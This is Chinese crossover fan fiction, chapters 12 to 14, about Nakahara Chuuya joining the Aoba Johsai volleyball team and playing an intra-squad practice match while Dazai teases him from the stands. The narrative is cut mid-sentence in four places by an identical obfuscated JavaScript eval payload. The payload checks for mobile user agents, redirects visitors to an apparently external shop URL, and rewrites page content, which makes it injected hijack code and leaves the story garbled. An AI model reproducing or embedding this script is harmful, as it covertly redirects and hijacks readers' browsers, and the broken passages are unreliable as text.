新加入的一年级人数并不很多,因此不到一小时就结束了测试。此时正选队的热身刚刚结束,从排球馆外列队跑回,及川彻调整着有氧结束后的呼吸,拍拍手招呼正选:“刚收假,今天先练基础的打垫,小渡,你额外加接发训练,我找找发球的手感。” 正选自由人渡亲治应下,岩泉一心领神会地带金田一和国见两个一年级去角落练习了。中原中也将这有条不紊的情状收入眼底,及川彻当主将的时候变得格外可靠稳健,仿佛换了个人。 “中原同学,你有打垫搭档吗?”良谷走回来问他,“要不一起?” “可以。”中原中也颔首。 一时间场馆内只有排球被拍击然后弹起的声音,偶尔闪过几声呼号,太宰治懒懒地坐起来打了个哈欠,摆弄手机,给场内的中原中也拍起照片。 今天的蛞蝓依旧精力旺盛啊。 “中原同学,你应该没有系统学过排球?”良谷和他来回垫了几下,就看出端倪来,“我帮你调整一下姿势,姿势不对的话很容易受伤的。” 中原中也感激地笑笑:“麻烦你了。” 按照良谷的说法改正了手势和发力方式,中原中也进步的很快,不远处刚要来纠正基础动作的沟口贞幸见状停下脚步,中原中也的吸收能力比他想的还要强。 一般来讲,姿势代表着习惯,习惯是最难改掉的东西,但中原中也仿佛跳过了那个阵痛期一样,随心所欲地改变着自己身体的发力方式,像海绵一般吸收着正确的知识。 “天才。”沟口贞幸只能想到这个词。 良谷和平也很惊异于中原中也的学习速度,表情变得有些复杂,开玩笑道:“中原同学没提前学排球真是可惜了。” “我还以为你会觉得我这个身高不适合打排球。”中原中也把球垫回去。 “不,我才没这么老古板,宫城还出过小巨人呢,现在也有那个星海光来啊。” 球碰上手臂,又灵巧地弹开,却被击球者紧紧控制着方向,像延伸的四肢,中原中也喜欢这种感觉,不自觉地染上笑意,调侃道:“你这么说的话,是见过某个老古板?” 这是中原中也第一次主动闲聊,良谷也笑起来,低声道:“白鸟泽的鹫匠教练就是典型的唯天资论,一直倡导的是全队都为强大王牌服务的教学理念,要我说……确实有点过时了。” 中原中也知道白鸟泽学园,他这两天搜了很多资料,知道青城和白鸟泽两支球队水火不容的关系。白鸟泽闻名遐迩的王牌牛岛若利,在全队托举下轰开了全国赛的大门,虽说在上届春高止步八强,却也打出了名声,提前被国青特招了。 从结果来看,说不定白鸟泽的方法真的是对的,良谷和平在心里想道,但果然,他不想打那种为别人服务的排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536194|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球。 “这是你来青城的原因吗?” 良谷这才反应过来自己把心里想的说出来了,面上赦然。不知道为什么,面前比自己矮了快一个头的少年让他感到可靠和安心,明亮的蓝眼睛仿佛能包容一切般看着自己:“我能理解那个教练一点,不管是体育竞技还是其他什么,天资都很残忍,但好在这只是运动赛场,所以“感受”才最重要吧?” 良谷手上垫球的动作顿了顿,他能感觉到对方的话里还有其他的东西,但这种感觉转瞬即逝,最后笑道:“是啊,中原同学很豁达呢。” 只是在安慰小孩的中原中也浑不在意,两人练了半小时,就被教练喊过去交待事情。入畑伸照简单点了几个人出来看动作,着重强调基础动作的重要性,最后清清嗓子:“现在,我需要你们每个人给我你们希望发展的方向——也就是你们在球场上要担任的位置。” “不管是攻手、接应、副攻、自由人。”入畑伸照缓缓道,“还是像主将那样的二传手,我们都很欢迎,你们可以选择摒弃之前选择的方向,毕竟你们还有时间去适应和练习,这是很宝贵的机会,不管你们选择什么,都会有直系前辈来帮助你们。” 监督的表情温和却严肃,一年级明白这是必须得考虑好的问题,山下炎太郎举手问道:“教练,如果选择了和一队有重合的位置,会不会影响我的首发机会?” “很务实的问题。”入畑伸照点点头,“我给你的答案是会,因为我们肯定会选择更优秀的人首发。” 言下之意就是青城排球队竞争上岗,如果你能比二三年级做得更好,首发就是你的。 山下炎一郎浑身的血液都为这个答案而沸腾:“我明白了,谢谢教练。” “想好了就找我或者沟口教练,我们会安排前辈来带你们。”入畑伸照笑道,“不用担心前辈会藏私,他们也是这么过来的。” “是!” 一年级首次部活结束,陆陆续续地从排球馆离开。还在跟着岩泉一练习的金田一勇太郎发出一个高远球,目光却定在中原中也走出排球馆的背影,国见英看看这颗球的落点,撩起眼皮:“精彩的全垒打。” “啧。” 等金田一把球捡回来,岩泉一在一旁点他:“发球别走神,国见,你盯着他,我去另一边了。” 让国见盯训练无异于让老鼠看粮仓,可惜岩泉一现在还不知道这件事,待到操心的前辈离开,国见英立刻如同散架一般找地方靠着了,倒是金田一依旧没有松懈,自己找了个墙壁练习。 国见英开口:“你好像很关注那个混血?” “没,他是我前座。” “不只吧?我记得你昨天来招新的时候脸臭得跟鞋底一样。”国见英道,“上次看你这个表情,还是“王者”在的那段时间。” 金田一勇太郎面容有点扭曲:“你猜对了,他听见我国中在北川第一后就问我认不认识影山。” “……原来如此。” 12. 队内训练(一) 两个星期后,中原中也的头发已经长到了锁骨处,太宰治满心期待地掏出黄色的小熊发绳,被中原中也瞪了回去:“你想都别想。” “欸——” 美津纪把早饭端出来,“扎起来嘛,我们不会笑话你的。” 说完就不容置疑地给中原中也收拾出一个漂亮的低马尾,满脸欣赏地上下打量少年遗传于自己和爱人的优秀外表:“不愧是妈妈的孩子,真好看。” 中原中也张了张嘴,最后还是没扫美津纪的兴,只能一脑门官司地被太宰治笑了一路,顶着小熊走进学校,最后在班级门口想把发绳拆下来塞进口袋,太宰治却闪现到身后幽幽道:“中也拆下来的话,我就告诉美津纪你不喜欢她给你扎的头发。” “多管闲事。” “咔嚓。”太宰治拿出手机,“有证据哦。” 此人没脸没皮惯了,一副你在这打死我我也不会松口的无赖样,中原中也深呼吸一口气,忍辱负重地把头发扎回去。太宰治满意地看见小熊的笑脸在红发上格外显眼,赦免一般摆摆手:“去吧去吧,认真听课哦,好学生。” 然后中原中也就被四周灼热的目光炙烤了一整天,到后来他自己都感到麻木,下课后还有同班的女生眼睛亮亮地凑过来搭话。 “中原同学的发绳好可爱!” “很适合长发啊!完全撕漫男。” 中原中也不自在地偏头:“还好啦,就是这样方便一点而已。” “啊啊啊啊害羞的样子更可爱了!” 中原中也很想去4班掐死太宰,对方每节课下课都来1班门口晃荡,中原中也想中途把发绳拿下来都不可以。这个世界的规矩还是太多了,中原中也想,换作在横滨,自己已经把太宰治抽的如陀螺般旋转,还不会被纪检打小报告。 金田一勇太郎在后座撑着脑袋听课,视线时不时游移到小熊的笑脸上,还有面前人白皙的后脖颈和柔顺的赭发,身子莫名有些尴尬地向后靠去。下课铃响起,中原中也起身收东西,金田一别扭半天,开口道:“一起去训练吗?” 自从上星期对方把他领到排球部后,中原中也就没再和他说过话,对方好像因为自己认识影山的事情在别扭——虽然中原中也其实根本不认识影山,只是单方面知道这个人而已。唯一的联系就是日向开学后给自己传来的消息:影山飞雄升学的去向好巧不巧,也是乌野。 中原中也想了半天,还是把影山在国中时期的“劣迹”转述给了对方,日向在电话那头沉默好一会儿,憋出一句:“其实影山也不是真的不好相处。” 中原中也无语凝噎:“你能这么想当然很好。” “其实当时和他们比赛的时候我就能感觉出来一点点啦,他……挺不合群的?”日向嘀咕道,“但他非常强,特别强,我要学的还有很多呢。” “评价这么高?”中原中也松了口气,他还怕日向对“王者”的真实性格幻灭,虽然现在看来好像走了另一个极端。 “嗯嗯,他的传球很厉害,跳发也很厉害,据说是和大王学的发球,不过他们现在还不让我练跳发。” 又蹦出来一个不知所云的代号,中原中也头疼地打断他:“大王是谁?”总不能是影山他哥或者他爸吧? “哦哦,抱歉中原前辈。”日向纠结了一下怎么描述,随后语气突然高昂起来,“对哎!中原前辈你就在青城排球部,你应该见过大王才对!” 中原中也更一头雾水,不过挂掉电话后,中原中也在脑中简单做了下排除法就得出了答案,青城有强跳发的正选就那两个:及川和岩泉,而根据青城喜欢老带新的传统来看,二传影山对应的果然是及川彻吧。 说到底影山的青春阵痛期和中原中也并没有什么关系,对面的扫帚头反而是亲历者之一。视角回到金田一向中原中也提出同行邀请的这个时间,见金田一终于不闹别扭,中原中也欣然同意:“可以啊,不过得去喊一下太宰。” “……那我去教学楼底下等你们。” 看着中原中也的身影往4班去,金田一沉思了一会儿,发信息给国见英。 【勇者金田一】:竹马长大后会和连体人一样吗? 【zzz】:?你失心疯了?你有竹马? 【zzz】:如果你问的是及川和岩泉前辈,答案是不会;如果你问的是中原和那个阴暗男,答案是会。 【勇者金田一】:确实。 【勇者金田一】:不过感觉两对都没什么参考价值的样子。 虽说中原中也的竹马不像个正常人,但中原中也本人还是世界第一的好交流,金田一和对方在路上聊了一会儿后,心里的那点疙瘩终于消解得差不多,最后问道:“话说中原,你定下来以后要打什么位置了吗?” 中原中也颔首,他不喜欢想太复杂的事情,有一个太宰治就够他烧脑了,而当自由人的话又太浪费力量和体能,所以最后给入畑伸照报的位置是主攻手。 主攻边攻中原中也都不介意,原本他就是来锻炼锻炼,践行一下对岩泉一的承诺,能不能上场比赛不在他的考虑范围内。 但金田一勇太郎不知道这些原委,反而皱起眉头:“如果是主攻手的话,不太可能进一队啊。” 岩泉一是副将,力量碾压全队,花卷贵大更是很难被顶替的全能型攻手,基本没有短板。金田一勇太郎的思路发散开来,脑子里浮现出一个人名。 “你想和国见竞争?” 中原中也莫名其妙地看着他,不知道这孩子是怎么得出这个结论的:“……不,我只想参加社团活动。” 金田一勇太郎的眉头皱的更紧了,他语气稍微有点不满:“以你的能力,不上场比赛完全就是浪费。” 这一周的训练足够球队里的每个人把其他人的底摸个大概,金田一勇太郎完全不怀疑中原中也的潜力,听见对方没有报副攻的时候心里安下了一半,却又在中原中也说出“只想参加社团活动”的时候,由衷地感到不爽。 都是天才了,能不能有点积极性?怎么和国见那家伙一样? 太宰治淡淡地观察金田一的表情,对他来说看透一个高中生太简单了,对方的自相矛盾全然透明地展现在眼前,他突兀地笑了一声:“小扫帚,你的人缘也不太好吧?” 此话一出,就惹来了中原中也的一记凶狠的眼刀,金田一勇太郎呆呆地被中原中也道了一句歉后交给排球馆门口的国见英。 “被阴暗男嘲讽了?”国见英打了个哈欠。 金田一勇太郎脸上一阵青一阵白,最后什么也没说,冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536195|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼一声,进馆里集合。国见英被消极的情绪波及,表情十分无辜,抬起腿也跟着进去了。 “今天练习的项目很多,先给你们分一下组,每个组有一个三年级,分完后监督那里有训练清单,岩泉你到时候负责一下,根据每组的情况可以适当增减。”沟口贞幸看看底下十几双紧张的眼睛,拿出一张表格,开始宣布。 “良谷,你去跟着矢巾,及川自主训练结束后会来看看你们。” 在众人诧异的目光下,一年级唯一一个有二传意向的良谷和平坦然地应下这个安排。 沟口继续:“副攻组,海川,山下,你们跟着松川。” “自由人,浅沼,结束体能后去跟着渡一起接及川的发球。” “然后是……”沟口把目光投向右边,和中原中也对上视线,“中原和土屋,你们两个和二队一起,跟一队打队内赛。” 底下开始窃窃私语,沟口贞幸解释道:“当然不会让首发全部在同个半场——刚刚没提到的一队二队,过来集合。” 急迫的哨声打断了金田一的练习,岩泉一昨天就提过今天要打队内赛,但金田一没想过中原中也和土屋吉一也在这个行列。及川彻在领队的位置发出得意的哼声,偏头对中原中也道:“怎么样?给你们争取了打比赛的机会哦?” “谢谢前辈。”中原中也道。 嘴上道谢,脸上却看不见一点诚意,及川彻回忆起三年前看见的张牙舞爪的中原中也,不禁感慨孩子长大了,中原中也被他诡异慈祥的目光看得起鸡皮疙瘩,主动退后靠近了岩泉一。 岩泉一眼皮底下突然出现一个小熊的笑脸,立刻知道发生了什么:“彻,闭嘴。” 其余部员分散开,把中心场地留给比赛,及川彻不上场,左边队长是岩泉一,队员有一年级中原中也、国见英、二年级二队副攻千叶和真、关近司。 右边是花卷贵大做队长、主攻土屋吉一、西山渚、副攻金田一勇太郎、大须龙也。 “没有自由人和二传,全是攻手?”海川隼斗在场外惊奇道,“这怎么打,重炮对轰吗?” 松川一静老神在在:“练攻手就是要这么练,我问你,一个攻手最难具备的能力是什么?” 海川摇头。 “是调整攻,是把坏球打成好球。”松川一静看着场上脸色不太好的岩泉一和明显非常幽怨的花卷,乐不可支,“这场的一传二传会烂到爆炸吧。” 余光瞥见及川彻在场外事不关己地垫球,松川一静觉得有趣,这不仅对一年级是个挑战,对那些被及川彻的传球惯坏的二三年级来说,同样难度不小,入畑监督真是想了个损招。 海川隼斗打了个寒战,只觉得四周凉嗖嗖的,身边这位平常喜欢担当吐槽役的前辈叽里咕噜说了一堆,他听不懂,也不是很想懂,举手申请:“前辈,可以开始练习了吗?” 被打断的松川一静看看后辈天真且无辜的脸,叹了口气:“……怎么派给我的是这样的小孩。” “哎?前辈你说什么?” “没什么,海川,我觉得你有接替我的潜力。”松川一静把球抛起来,“毕竟天然才是最好的武器啊!” 球随着沟口的哨声落地,bo3,15分制,青城新学期第一场队内训练赛开始。 13. 队内训练(二) 第一局,由左边国见英发球,金田一看见对方下意识的动作就知道国见又开始习惯性减负了——是个无害的高远球,西山渚横跨一步,轻易地将球垫了起来。 “好一传!” 金田一勇太郎被分到首轮1号位,抬手传球,前排的土屋吉一怒喝一声,助跑向前,将球砸向对面半场。 岩泉一鱼跃垫起,但过于近网,为了不给对面送探头,千叶和真只能硬着头皮打二次进攻。 可惜金田一早就预备在网下,手臂并拢,单人拦网。 “Nice block!”花卷喊道,右边队伍加上一分。 “他怎么还在干副攻的活计啊。”国见英盯着对面的金田一,抱怨了一句。 岩泉轮转到6号位,提醒道:“别偷懒,刚刚那球发的太烂了。” “……是。” 轮转,大须龙也发球,对方最近在练跳飘,满头大汗地将球抛出,球左右摇晃着险险擦过网,在过网的一瞬间急坠而下。岩泉一兢兢业业地鱼跃把球救起:“千叶!” 千叶和真快速跑位,手腕一抖,将球传到空中,蓝黄相间的球在球场上空徘徊,千叶心头一跳,自己果然传歪了,球正好在两个后排攻手的责任区交界。国见英想上步,迟疑地看了中原中也一眼,对方在规矩地起跳,却没有触球的意思。 “砰!” 国见后排下球,比分来到1比1。金田一才发现自己刚才光盯着中原中也看,居然忽视了进攻意图明显的国见,在心里暗骂一声红头发太显眼。 “Don’t mind!”花卷道,“继续追发岩泉,别让他参与进攻!” 一群攻手在场上的好处就是所有人的进攻意识都前所未有的强烈,岩泉一在前排擦了半天地板,最后终于忍无可忍地对后排吼道:“注意防守!全都跳起来找球是要做什么?” 回头看,中原中也一脸沉静,国见英依旧事不关己,岩泉一开始怀疑这两个人就是把进攻时的起跳当任务完成了,其实连进攻的想法都没有。 思绪万千的间隙,比分上涨到3比5,花卷看着对面脸色难看的岩泉一,骄傲地挑眉。土屋吉一轮转到前排,和中原中也隔网相望。 中原中也注意到对方挑衅的神色,虽说对和大块头较量的兴趣一般,但这么几轮下来他始终没有触到球,手心发痒,“只是随便练练”的心态也有了一些改变。 “中原就算了,他没怎么打过比赛,国见你给我动起来。”岩泉一低声道。 国见英抬抬手表示自己知道。 金田一发球,是个威力不强的跳发,关近司稳稳垫起,国见充当临时二传,岩泉一在后排终于有机会要球,脚重重地踏上地板。 “砰——咚!” 巨力砸在金田一的手指,打手出界。 比分上涨,沟口贞幸在场外看了一会儿,对入畑伸照低声道:“中原参与进攻的次数太少了,他和国见不会是一个类型吧?” 难怪岩泉一脑门官司,原来场上有两个懒蛋。 入畑伸照摇头:“正相反,我觉得他是很成熟的那类,不过在等一个时机。” 轮到中原中也发球,岩泉一以为他会跳发,毕竟三年前对方就会一点跳发,但中原中也却还是使用了下手发球。岩泉一有点遗憾,他也知道中原中也很久没练排球,跳发估计早就忘光了,心里盘算着之后找时间再教一教。 “3号位!” “我来!” 球在对角被垫起,土屋吉一传了个别别扭扭的定点,纵使花卷的调整攻已经很不错,在触球的一刹那还是开始怀念及川彻传球时那种舒服的感觉,手指狠狠压下,球要落地的那一刻,早就在网下观察的中原中也却利落的——将脚伸了出去。 球确实救起来了,但毕竟和垫球的效果差距很大,一传不到位,岩泉只能尝试小斜线,他精准地找到对面拦网的缺口,将球重重压进地板。 “他之前真的不是踢足球的吗?”场面实在滑稽,及川彻在旁边看笑了,“之前测试时候这一幕也发生过吧?” 入畑伸照摸着下巴:“应该是他本能想用力量更强的下肢,得纠纠中原这个习惯了。” “啧。” 及川彻的眼中倒映着飞来飞去的排球,颇有些咬牙切齿:“都给我好好练一传啊。” 二传再强也没办法完全把烂球处理干净,现在场上的攻手就在品尝一传不到位的苦果。因为及川彻的存在,青城的一传虽然也在训练,却一直没什么成效——毕竟在场上只需要把球垫起来及川就能传,所以青城的地板相对进攻点来说非常软,这个缺点在对战白鸟泽的时候尤其明显,渡亲治这个自由人快被攻手薅秃了。 什么时候有机会能让这群张牙舞爪的攻手和防守强校打一场呢?入畑伸照眯起眼。 底下的讨论声此起彼伏,场上战况依旧激烈,比分交替上升,最后还是右边更胜一筹,随着土屋本场第三发重扣,第一局由花卷队拿下。 “Nice ball!土屋!”金田一勇太郎道。 花卷得意地拍拍两个后辈的肩,故意大声道:“就这样把岩泉打败吧!” “噢噢噢噢!” 也不在乎下场后会被副将怎么修理,土屋和金田一热血沸腾地怒吼。 “那两个人怎么跟大猩猩一样。”国见无语。 及川彻在旁边看着却觉得不妙,因为岩泉一好像有点生气了,果不其然,一直被迫接一传的岩泉黑着脸走到中原中也和国见英身前。 在国见英震撼的目光中,中原中也在岩泉一开口之前抢先道:“下局我想参与进攻。” “可以,你待会和千叶换位,不强迫你二传。”矛头指向国见英,“不用我多说了吧?擦地板还是进攻,你总得干一个,别因为是队内训练赛就不当回事。” “……是。”国见英身上那股懒劲终于散去。 “其实国见是很慢热的攻手,一般后期才开始发力。”沟口贞幸道,“可惜面对强校,很少有能打到第四局的机会,他得提前把身子热起来。” 国见和金田一都是教练组寄予厚望的新人,现在可能还要加个中原中也,可惜这届没有好的自由人苗子。但即使是这样,沟口贞幸还是有预感,今年会是青城最有希望的一年。 中原中也第一局跑动得不多,他也知道自己应该多参与进攻,可能是上辈子单打独斗的时候多了,习惯性地就想自由行动,面对前辈的调度他总感觉不自然,动作也不舒展。但有了第一局的适应,第二局他总算活动开手脚,空气开始变得灼热。 “喂,你真的是攻手吗?”土屋嘲讽道,“怎么下球率还是0呢?中原?” 土屋这张志得意满的脸在球网对面一晃而过,中原中也轻嗤一声,没搭理他,但那股不爽的情绪愈演愈烈了。 花卷贵大的身体用力反弓,拉出一道长弧,把球直直钉向左半场,千叶和真并拢手臂:“One touch!”关近司飞扑救球。 “抱歉!” 一传的位置非常尴尬,岩泉一在大对角,右翼后排不能缺人,因此只能指望中原中也和国见英能跟上节奏起跳。千叶对这两个后辈没什么期待,咬牙退后准备自接自扣,身后突然窜出两个身影。 金田一大喊:“左翼!”他选择了国见。拦网并拢,金田一低声指挥,和土屋同时跳起,可国见却在他们之前先落了地,金田一暗道不好,果然对方身旁有一人跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536196|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃起惊人的高度,在排球馆的灯光下,一头红发好似烈火。 “这个高度太作弊了吧......”花卷抽抽嘴角。 球在众人注视下砸向地面,带着恐怖的旋转,恍惚间好像能看见过速带起的热量。土屋防守不及,球在面前落地,不甘地“切”了一声。 “Nice ball!中原!”千叶为自己的不信任愧疚了一秒,夸赞道。 岩泉终于满意了一些,走过来拍拍两个后辈的肩膀:“二人时间差?配合得不错,你们还挺有默契的嘛。” 国见瞥一眼中原中也,他知道这球能下跟默契没什么关系,完全是自己错估球的高度跳早了,但中原中也离谱的反应速度却是实打实的展现了出来。 “前辈,下一轮我来擦地板。”他主动要求。 岩泉诧异地看他一眼,应下了,前排换上关近司。 按身高来排的话,现在应该处于左边的拦网弱轮,关近司和中原中也、岩泉的海拔都不占优势,相反,对面的金田一和花卷、大须,平均身高无限接近一米九,如同三堵墙一般矗立在那里,岩泉一被阴影遮住有点不爽。 可恶啊,要是能再长高点就好了,高一厘米都行。岩泉在心里仰天长叹。 国见发球,这回终于是个能看的跳发,精确瞄准了后排的土屋吉一,土屋勉强接到球,却没办法卸力,只能咬牙道:“抱歉!来个好二传!” “你接球还得练啊!”花卷艰难地跑位传球,二传给到金田一,如果及川在的话估计能和金田一配合一个很棒的快攻,奈何自己只是个半吊子二传。金田一助跑跳起,瘦长的身体在空中收腹,瞄准岩泉的指尖,岩泉却突然收拢手指。球砸出一声巨响,国见在后排举手:“界外!” 借手失败,金田一扣球出界。 “啧。”第一次借手就被看穿,金田一脸色很难看,岩泉经验还是太丰富了。 比分来到14比13,左边队伍首次反超。花卷喘了口气,把金田一招呼过来:“继续之前的战术,别让岩泉参与进攻,国见中原跟团队脱节太严重,让大须盯着就可以了。” 只要在一传把岩泉摁死,后面找两个一年级的漏洞就很容易了,金田一沉默了一下,觉得花卷依旧阴险,但为了胜利和在国见面前的呼吸权,还是点头称是。花卷又去交代土屋:“你给我狠狠扣,不是在和中原较劲吗?拿出百分百的力气来!” “是!” 中原中也感觉土屋看自己的眼神像吃了枪药一般火热,也回敬一个不屑的目光,他的体温也随着运动攀升,理性被热血稍稍淹没,转头对岩泉道:“前辈,待会请把球给我。” “喂喂,你别上头啊。”岩泉皱眉,他还以为中原是理智派。 如果太宰治知道他在想什么,估计会笑到肚子疼——中原中也如果都能算理智派的话,世界上就没有冲动的人了,中原中也的理智充其量只能算是成年人在没到燃点时必要的权衡。 但体育竞技就是个很容易放弃权衡的东西,球再一次飞向高空,土屋和金田一锁定跳起的中原中也,对方的眼中却没有他们。飞跃的人影达到一个惊人的高度,重力在他身上仿佛不起作用。 2米、3米。 岩泉一抬手传球,是最简单的五号位定点球,对面的人墙拔地而起,少年却跳的更高,蓝色的眼睛倒映出拦网身侧全然空白的后排。 喜欢挑衅的小鬼,被重力碾碎吧! 中原中也露出一丝笑意,带着自己都不曾察觉的疯狂,手臂爆出青筋,如同鞭子一般把球狠狠甩进空隙,砸到土屋的腿边。 “咔嚓。”太宰治拍下一张照片。 沟口吹哨,第二局队内训练赛,岩泉队胜。 14.队内训练(三) “中原刚刚是不是露出了一个很可怕的表情?”海川隼斗和山下炎一郎中途休息,两个人和松川一起去体育馆二楼栏杆挂着,这里视野很好,就是看着非常有逃训嫌疑,已经被沟口飞了好几个眼刀过来。 松川抱歉地朝教练笑笑,答道:“中原据说脾气很好的来着......应该是被土屋惹急了。” “那个土屋确实不好相处,”海川深以为然,“松川前辈,你觉得哪一队会赢?” 松川摸摸下巴,总是耷拉着的眼皮下的眼神专注地盯着场上局势:“岩泉那队吧。” “可金田一和土屋的拦网配合得很默契,反而是中原和国见,他俩在前排的时候基本都没有拦网的意识,这样很快会被花卷前辈找到漏洞吧?”一直沉默的山下冷不丁说道。 “哎!小山你居然会说话吗!” “我只是不说没必要的闲话。”山下瞥了一眼最爱和前辈扯淡的海川,扶了扶眼镜,“看比赛的时候不讨论,就像自行车失去了脚踏板——以及别叫我小山,你又不是及川前辈。” “好吧,山下。不过我很欣赏你的冷笑话,就是自行车和脚踏板那个。”海川很遗憾。 松川倒是没把注意力丢到其他地方:“你说得对,唔......可能是我的直觉吧。” 得到前辈认可的山下却还是一脸凝重,又看了几分钟,最后松川把他们带下去继续练习了。他们走后二楼的角落又钻出来一个人影,自然是被后勤组在背后称为“无处不在的幽灵”的太宰治。黑发少年像条泥鳅一样趴在栏杆上,表情兴味盎然。 “中也要是输了的话就太有趣了,说到底输赢也无所谓,中也释放本性的样子就非常有意思!” 太宰嘀咕道,翻看着手机里的那张照片,照片里混血少年在空中停滞,眼神冷淡而自信,嘴角却不合时宜地勾起。太宰治不禁想起上辈子一起出任务时,他到达已经被中原中也清洗完的任务现场,漂亮的青年总是坐在废墟之上,鹰隼一般的目光带着还未褪去的杀意,就这么透过硝烟望过来。 果然,果然,太宰治叹道,还是那样的中也让人移不开目光。 “喂!”太宰在二楼扯着嗓子对球场上的中原中也喊了一声,“中也!别再当乖孩子了!你明明是我的——” 中也明明是我的一条恶犬啊,太宰治的嘴角洋溢起真实的笑容。 场上一瞬间静得落针可闻,虽说最后两个字太宰治没有说出口,但前面的两句话已经足够惊世骇俗,所有人的目光都往中原中也身上飘过来,又装作什么都没发生一般飘回去。 最后是及川彻噗呲一声笑了,矢巾秀想捂住他的嘴,主将却已经把糟糕的吐槽宣之于口:“哈哈哈哈哈!小中原,你听见了吗?那家伙说你是他的!这是什么小学生的占有欲?” “及川前辈我们快去练习吧岩泉前辈看过来了。”矢巾绝望道。 球场上,中原中也一副世界爆炸吧的表情抬头向太宰看过去,收获了黑泥精一个能把他恶心吐了的wink,岩泉一仿佛能看见后辈身上弥漫的黑气,一瞬间有些感同身受:“中原......你别跟他一般见识。” 中原中也闭上眼睛,太宰最近不太闹腾,他都快忘了这个定时炸弹的威力有多恐怖。他自然知道太宰省略了两个字,也幸亏太宰治省略了两个字——不然中原中也下场的第一件事就是咬死他。 沟口的表情也很精彩:“这是什么年轻人新的友情宣言吗?” “你也还没到叫别人年轻人的年纪吧。”入畑伸照倒是没放在心上,“他俩相处模式就是挺独特的,也算我们排球部的一个特色,你看岩泉和及川不也是这种作风。” 这种作风真的体面吗?沟口面容扭曲了一瞬,而且及川和岩泉才不这样吧! 良谷和平在教练组身后憋笑憋得很难受,幸亏矢巾前辈把及川前辈拉走了,不然听到教练组这番话,及川前辈肯定得炸毛。 休息结束,双方重新上场,国见觉得身边的中原中也有点过于怒火中烧,不自觉地退开一步,然后看热闹不嫌事大:“中原,其实我还挺好奇太宰为什么那么说——什么叫别再当乖孩子了?” “啧,别听他乱说。”中原中也冷哼,“那家伙就是纯粹想恶心我一下……不过这场要是输掉的话,会被他笑一周吧。” “太宰真是个神奇的人。” 感受到中原中也比之前都要蓬勃的战意,国见英无语道。用这种丢脸的办法激励竹马的人,国见只见过太宰一个。 “发个好球!花卷前辈!” 花卷贵大跳发,球稳稳砸在底线,国见英误判了球的落点:“我的。” “Don’t mind。”岩泉道,“下一球接起来。” 下一球花卷却失误了,差点发球下网,关近司起球,岩泉一和国见英开始助跑,配合起本场第一个双快,中原中也也在后三起跳,金田一勇太郎眉头皱起,对拦网方向的判断出现犹豫。 千叶和真发现了他脚步的迟疑,依旧是一个高球传出,中原中也蓄力跳起,比方才仿佛还要高,球砸进对面半场。 花卷贵大扑救,但卸力不及,球“咚”地飞出界外的同时,手臂触球的地方立刻红肿起来。 他感受着这股熟悉的力量,面色狰狞:“几乎和牛岛一样了——这是带着杀气打的吧?” “前辈你说什么?” 金田一愣了愣,没想到前辈会把中原中也和牛岛若利放在一起比较。 “我是说力量上,就是旋转不同,牛岛因为是左利手所以比这个还难接。”花卷搓搓疼痛的手臂。 金田一勇太郎沉默,他没有和牛岛打过比赛,但去年还在国中的时候去现场看过,那家伙的重炮强攻完全不是玩笑,毕竟是全国前五的攻手,青城当时的自由人几乎没办法起球。 中原中也的力量强到这个地步了吗? “技术还是太重要了,假如中原能好好磨一下技术,扣、抹、吊、打手,这些能灵活运用的话,我们的进攻端会有不亚于白鸟泽的强势。”入畑伸照道。 牛岛若利的强悍当然不局限于他的力量,倒不如说对王牌而言,力量只是敲门砖而已。全国前五的攻手每一个都是极其全面的,井闼山的佐久早圣臣甚至就是以精通打手技术闻名。 “攻守兼备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537101|203819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的超级王牌吗……”沟口贞幸想象着,“还真是诱人啊。” “找时间给他们约场训练赛吧,一年级的正选名单这星期就可以定下来了。” “是。” 相比起花卷那边不出错的稳健,岩泉这边更像是直接放弃了拦网,地板只有关和岩泉在负责,整个队伍的调度烂到爆炸——这也是及川所能预见的,队伍缺少了二传这个司令塔的结局就是这样。 哼哼,及川大人还是太重要了。及川彻在心里自得了一下。 